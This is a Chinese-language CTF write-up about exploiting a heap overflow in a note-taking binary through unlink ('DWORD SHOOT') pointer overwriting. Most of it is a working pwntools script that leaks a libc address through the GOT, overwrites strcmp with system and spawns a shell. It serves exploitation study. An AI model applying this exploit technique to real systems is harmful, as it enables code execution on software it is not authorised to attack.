堆溢出之DWORD SHOOT的利用

堆溢出之DWORD SHOOT的利用

这是ZCTF的一个堆溢出题目,应该算是堆溢出比较基础的利用,感觉题目还是挺经典的,以下是我对该题的分析:

程序流程很清晰,就是一个简单的记事本功能的小程序,有以下几项功能:

1.New note\n
2.Show notes list\n
3.Edit note\n
4.Delete note\n
5.Quit\noption--->>

程序不是简单的使用一个空间去存储数据的,而是申请多个堆块用来存储不同的记事本事件,形成了一个链表。

通过上图我们不难猜出每个堆块的数据结构:

  QWORD Link1;//8byte前向指针

  QWORD Link2;//8byte后向指针

  byte title[64];//偏移16~80byte处存储title的字符串

  byte type[32];//偏移80~112byte处储存type的字符串

  byte content[256];//偏移112~368byte处储存正文的字符串

刚好是堆分配的0想70=368个字节

漏洞也比较好找,在edit这个函数里面

之后查看一下free机制,也就是delete函数

应该是堆溢出dword shoot的问题,我们需要做的就是伪造一个前向指针和一个后向指针就可以了。

leak地址的话,直接通过show这个函数的功能就可以实现,不过事先必须得通过溢出将下一个块的指针覆盖。

详细的讲解会在下面的脚本中给出。

# coding=UTF-8
from pwn import *
context.log_level = 'debug'
sh = process('./note1_pwn2')
note1 = ELF('./note1_pwn2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def newnote(title, kind, content):
    sh.recvuntil('option--->>\n')
    sh.sendline('1')
    sh.recvuntil("title:\n")
    sh.sendline(title)
    sh.recvuntil('type:\n')
    sh.sendline(kind)
    sh.recvuntil('content:\n')
    sh.sendline(content)
def shownote():
    sh.recvuntil('option--->>\n')
    sh.sendline('2')
def editnote(title, new):
    sh.recvuntil('option--->>\n')
    sh.sendline('3')
    sh.recvuntil('title:\n')
    sh.sendline(title)
    sh.recvuntil('content:\n')
    sh.sendline(new)
# 链表倒序排列,先插入的后遍历,
newnote('a', 'a', 'a')
newnote('b', 'b', 'b')
newnote('c', 'c', 'c')
# 第一步首先将堆块a溢出,将堆块b的后向指针覆盖为setbuf的地址
# next(b)=setvbuf_got-0x70, 当调用show函数输入遍历的时候就会将setbuf的地址打印出来
# 遍历表是倒序排列的将堆块b的前向指针覆盖为setvbuf的地址,看其他人说结尾加上b是为了第二次修改成功,这个不太理解
setvbuf_got = note1.got['setvbuf']
print hex(setvbuf_got)
content = 'a' * 256 + p64(0) * 3 + p64(setvbuf_got - 0x70) + 'b'
editnote('a', content)
# get the setvbuf addr
shownote()
sh.recvuntil('content=')
sh.recvuntil('content=')
sh.recvuntil('content=')
#现在还不太明白为什么必须得三次接收数据才可以,应该是先接收遍历的堆块c,然后是b,最后才是打印出来的setvbuf的地址
setvbuf_addr = sh.recvuntil('\n', drop=True)
setvbuf_addr = u64(setvbuf_addr.ljust(8, '\x00'))
print hex(setvbuf_addr)
setvbuf_offest = libc.symbols['setvbuf']
libc_base = setvbuf_addr - setvbuf_offest
system_offest = libc.symbols['system']
system_addr = libc_base + system_offest
print hex(system_addr)
# 接下来就是将setvbuf的地址覆盖为system的地址
# 将c块的前向指针指向strcmp
# next(c) = strcmp_got-0x70
strcmp_got = note1.got['strcmp']
content = 'a' * 256 + p64(0) * 3 + p64(strcmp_got - 0x70) + 'c'
editnote('b', content)
# 调用strcmp跳转到system地址
# strcmp_got - 0x70 + 16 is '\x00'
content = p64(system_addr)
editnote('\x00', content)
sh.recvuntil('option--->>\n')
sh.sendline('3')
payload = '/bin/sh'
sh.sendline(payload)
sh.interactive()
文章目录
  1. 1. 堆溢出之DWORD SHOOT的利用
|